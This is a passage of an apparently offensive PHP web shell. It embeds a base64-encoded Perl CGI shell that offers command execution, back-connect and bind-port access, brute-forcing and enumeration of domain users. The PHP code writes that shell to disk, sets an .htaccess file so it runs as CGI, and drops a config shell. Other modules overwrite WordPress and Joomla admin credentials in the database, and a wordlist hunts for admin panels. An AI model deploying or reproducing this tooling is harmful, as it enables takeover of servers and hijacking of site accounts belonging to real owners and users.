CQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJGQuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+Ii4kZmlsZS4iPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGYpLiInLCciLiRmaWxlLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgkaSwnJGZpbGUnKVwiID4iLiZGaWxlUGVybXMoJGYpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRyeSB0byBWaWV3IExpc3QgVXNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3RG9tYWluVXNlcgp7CglvcGVuIChkb21haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOwoJbXkgQGNuenMgPSA8ZG9tYWlucz47CgljbG9zZSBkMG1haW5zOwoJbXkgJHN0eWxlPSJsaW5lIjsKCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOwoJbXkgQHBhdGhsb2c9KAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycKCQkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOwoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtdyAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7CgkJfWVsc2UKCQl7CgkJCWNob3AoJHNsID0gYGxuIC1zICRsb2cgZXJyb3JfbG9nXyRpYCk7CgkJCWlmKCZ0cmltKCRscykgZXEgIiIpCgkJCXsKCQkJCWlmKC1yICRscykKCQkJCXsKCQkJCQkkcGVybXM9Ik9LIjsKCQkJCQkkbG9nPSJlcnJvcl9sb2dfIi4kaTsKCQkJCX0KCQkJfWVsc2UKCQkJewoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJCX0KCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCEoJGNobW9kIGVxIDApKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQljaG9wKCRyZXN1bHQ9IGBjaG1vZCAkY2htb2QgIiRmaWxlImApOwoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoISRyZW5hbWUgZXEgIiIpCgl7CgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoKCXByaW50ICZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs=\';\r\n\r\n$file = fopen("cgi2012.izo" ,"w+");\r\n$write = fwrite ($file ,base64_decode($cgi2012));\r\nfclose($file);\r\n chmod("cgi2012.izo",0755);\r\n echo " <iframe src=cgi2012/cgi2012.izo width=96% height=76% frameborder=0></iframe>\r\n \r\n </div>"; }\r\n \r\n ///////////////////////////////////////////////////////////////////////////\r\n \r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'config\'))\r\n{\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&x=config" method="post">\r\n\r\n<?php\r\n\r\necho "<center/><br/><b><font color=#00ff00>+--==[ Config Shell Priv8 SCR ]==--+</font></b><br><br>";\r\n\r\n mkdir(\'config\', 0755);\r\n chdir(\'config\');\r\n $kokdosya = ".htaccess";\r\n $dosya_adi = "$kokdosya";\r\n $dosya = fopen ($dosya_adi , \'w\') or die ("Error cuyy!");\r\n $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI\r\n\t\t\r\nAddType application/x-httpd-cgi .cpc\r\n\r\nAddHandler cgi-script .izo\r\nAddHandler cgi-script .izo"; \r\n fwrite ( $dosya , $metin ) ;\r\n fclose ($dosya);\r\n\r\n$file = fopen("config.izo" ,"w+");\r\n$write = fwrite ($file ,base64_decode($configshell));\r\nfclose($file);\r\n chmod("config.izo",0755);\r\n echo "<iframe src=config/config.izo width=97% height=100% frameborder=0></iframe>\r\n </div>"; \r\n}\r\n/////////////////////////////////////////////////////////////////////////\r\n\r\n\r\n///////////////////////////////////////////////////////////////////////////\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'wp-reset\'))\r\n{\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&x=wp-reset" method="post">\r\n\r\n<?php\r\n\r\necho "<center/><br/><b><font color=#00ff00>+--==[ Wordpress Reset Password ]==--+</font></b><br><br>";\r\n \r\n if(empty($_POST[\'pwd\'])){\r\n \r\necho "<FORM method=\'POST\'>\r\n<table class=\'tabnet\' style=\'width:300px;\'> <tr><th colspan=\'2\'>Connect to mySQL server</th></tr> <tr><td> Hostname</td><td>\r\n<input style=\'width:220px;\' class=\'inputz\' type=\'text\' name=\'localhost\' value=\'localhost\' /></td></tr> <tr><td> Database</td><td>\r\n<input style=\'width:220px;\' class=\'inputz\' type=\'text\' name=\'database\' value=\'wp-\' /></td></tr> <tr><td> username</td><td>\r\n<input style=\'width:220px;\' class=\'inputz\' type=\'text\' name=\'username\' value=\'wp-\' /></td></tr> <tr><td> password</td><td>\r\n<input style=\'width:220px;\' class=\'inputz\' type=\'text\' name=\'password\' value=\'**\' /></td></tr>\r\n<tr><td> User baru</td><td>\r\n<input style=\'width:220px;\' class=\'inputz\' type=\'text\' name=\'admin\' value=\'admin\' /></td></tr>\r\n <tr><td> Pass Baru</td><td>\r\n<input style=\'width:80px;\' class=\'inputz\' type=\'text\' name=\'pwd\' value=\'123456\' /> \r\n\r\n<input style=\'width:19%;\' class=\'inputzbut\' type=\'submit\' value=\'change!\' name=\'send\' /></FORM>\r\n</td></tr> </table><br><br><br><br>\r\n";\r\n}else{\r\n$localhost = $_POST[\'localhost\'];\r\n$database = $_POST[\'database\'];\r\n$username = $_POST[\'username\'];\r\n$password = $_POST[\'password\'];\r\n$pwd = $_POST[\'pwd\'];\r\n$admin = $_POST[\'admin\'];\r\n\r\n\r\n @mysql_connect($localhost,$username,$password) or die(mysql_error());\r\n @mysql_select_db($database) or die(mysql_error());\r\n\r\n$hash = crypt($pwd);\r\n$a4s=@mysql_query("UPDATE wp_users SET user_login =\'".$admin."\' WHERE ID = 1") or die(mysql_error());\r\n$a4s=@mysql_query("UPDATE wp_users SET user_pass =\'".$hash."\' WHERE ID = 1") or die(mysql_error());\r\n$a4s=@mysql_query("UPDATE wp_users SET user_login =\'".$admin."\' WHERE ID = 2") or die(mysql_error());\r\n$a4s=@mysql_query("UPDATE wp_users SET user_pass =\'".$hash."\' WHERE ID = 2") or die(mysql_error());\r\n$a4s=@mysql_query("UPDATE wp_users SET user_login =\'".$admin."\' WHERE ID = 3") or die(mysql_error());\r\n$a4s=@mysql_query("UPDATE wp_users SET user_pass =\'".$hash."\' WHERE ID = 3") or die(mysql_error());\r\n$a4s=@mysql_query("UPDATE wp_users SET user_email =\'".$SQL."\' WHERE ID = 1") or die(mysql_error());\r\n\r\n\r\nif($a4s){\r\necho "<b> Success ..!! :)) sekarang bisa login ke wp-admin</b> ";\r\n}\r\n\r\n}\r\n \r\n \r\n echo "\r\n </div>"; }\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'jm-reset\'))\r\n{\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&x=jm-reset" method="post">\r\n\r\n<?php\r\n\r\necho "<center/><br/><b><font color=#00ff00>+--==[ Joomla Reset Password ]==--+</font></b><br><br>";\r\n\tif(empty($_POST[\'pwd\'])){\r\necho "<FORM method=\'POST\'><table class=\'tabnet\' style=\'width:300px;\'> <tr><th colspan=\'2\'>Connect to mySQL </th></tr> <tr><td> Host</td><td>\r\n<input style=\'width:270px;\' class=\'inputz\' type=\'text\' name=\'localhost\' value=\'localhost\' /></td></tr> <tr><td> Database</td><td>\r\n<input style=\'width:270px;\' class=\'inputz\' type=\'text\' name=\'database\' value=\'database\' /></td></tr> <tr><td> username</td><td>\r\n<input style=\'width:270px;\' class=\'inputz\' type=\'text\' name=\'username\' value=\'db_user\' /></td></tr> <tr><td> password</td><td>\r\n<input style=\'width:270px;\' class=\'inputz\' type=\'password\' name=\'password\' value=\'**\' /></td></tr>\r\n<tr><td> User baru</td><td>\r\n<input style=\'width:270px;\' class=\'inputz\' name=\'admin\' value=\'admin\' /></td></tr>\r\n <tr><td> pass baru </td><td>123456 = \r\n<input style=\'width:130px;\' class=\'inputz\' name=\'pwd\' value=\'e10adc3949ba59abbe56e057f20f883e\' /> \r\n\r\n<input style=\'width:23%;\' class=\'inputzbut\' type=\'submit\' value=\'change!\' name=\'send\' /></FORM>\r\n</td></tr> </table><br><br><br><br>\r\n";\r\n}else{\r\n$localhost = $_POST[\'localhost\'];\r\n$database = $_POST[\'database\'];\r\n$username = $_POST[\'username\'];\r\n$password = $_POST[\'password\'];\r\n$pwd = $_POST[\'pwd\'];\r\n$admin = $_POST[\'admin\'];\r\n@mysql_connect($localhost,$username,$password) or die(mysql_error());\r\n@mysql_select_db($database) or die(mysql_error());\r\n$hash = crypt($pwd);\r\n$SQL=@mysql_query("UPDATE jos_users SET username =\'".$admin."\' WHERE ID = 62") or die(mysql_error());\r\n$SQL=@mysql_query("UPDATE jos_users SET password =\'".$pwd."\' WHERE ID = 62") or die(mysql_error());\r\n$SQL=@mysql_query("UPDATE jos_users SET username =\'".$admin."\' WHERE ID = 63") or die(mysql_error());\r\n$SQL=@mysql_query("UPDATE jos_users SET password =\'".$pwd."\' WHERE ID = 63") or die(mysql_error());\r\n$SQL=@mysql_query("UPDATE jos_users SET username =\'".$admin."\' WHERE ID = 64") or die(mysql_error());\r\n$SQL=@mysql_query("UPDATE jos_users SET password =\'".$pwd."\' WHERE ID = 64") or die(mysql_error());\r\n$SQL=@mysql_query("UPDATE jos_users SET username =\'".$admin."\' WHERE ID = 65") or die(mysql_error());\r\n$SQL=@mysql_query("UPDATE jos_users SET password =\'".$pwd."\' WHERE ID = 65") or die(mysql_error());\r\nif($SQL){\r\necho "<b>Success : skarang password barunya >>> - (123456)";\r\n}\r\n}\r\n\t\r\n echo "\r\n </div>"; \r\n} \r\n//////////////////////////////////////////////////////////////////////////////\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'adfin\'))\r\n{\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&x=adfin" method="post">\r\n\r\n<?php\r\nset_time_limit(0);\r\nerror_reporting(0);\r\n$list[\'front\'] ="admin\r\nadm\r\nadmincp\r\nadmcp\r\ncp\r\nmodcp\r\nmoderatorcp\r\nadminare\r\nadmins\r\ncpanel\r\ncontrolpanel";\r\n$list[\'end\'] = "admin1.php\r\nadmin1.html\r\nadmin2.php\r\nadmin2.html\r\nyonetim.php\r\nyonetim.html\r\nyonetici.php\r\nyonetici.html\r\nccms/\r\nccms/login.php\r\nccms/index.php\r\nmaintenance/\r\nwebmaster/\r\nadm/\r\nconfiguration/\r\nconfigure/\r\nwebsvn/\r\nadmin/\r\nadmin/account.php\r\nadmin/account.html\r\nadmin/index.php\r\nadmin/index.html\r\nadmin/login.php\r\nadmin/login.html\r\nadmin/home.php\r\nadmin/controlpanel.html\r\nadmin/controlpanel.php\r\nadmin.php\r\nadmin.html\r\nadmin/cp.php\r\nadmin/cp.html\r\ncp.php\r\ncp.html\r\nadministrator/\r\nadministrator/index.html\r\nadministrator/index.php\r\nadministrator/login.html\r\nadministrator/login.php\r\nadministrator/account.html\r\nadministrator/account.php\r\nadministrator.php\r\nadministrator.html\r\nlogin.php\r\nlogin.html\r\nmodelsearch/login.php\r\nmoderator.php\r\nmoderator.html\r\nmoderator/login.php\r\nmoderator/login.html\r\nmoderator/admin.php\r\nmoderator/admin.html\r\nmoderator/\r\naccount.php\r\naccount.html\r\ncontrolpanel/\r\ncontrolpanel.php\r\ncontrolpanel.html\r\nadmincontrol.php\r\nadmincontrol.html\r\nadminpanel.php\r\nadminpanel.html\r\nadmin1.asp\r\nadmin2.asp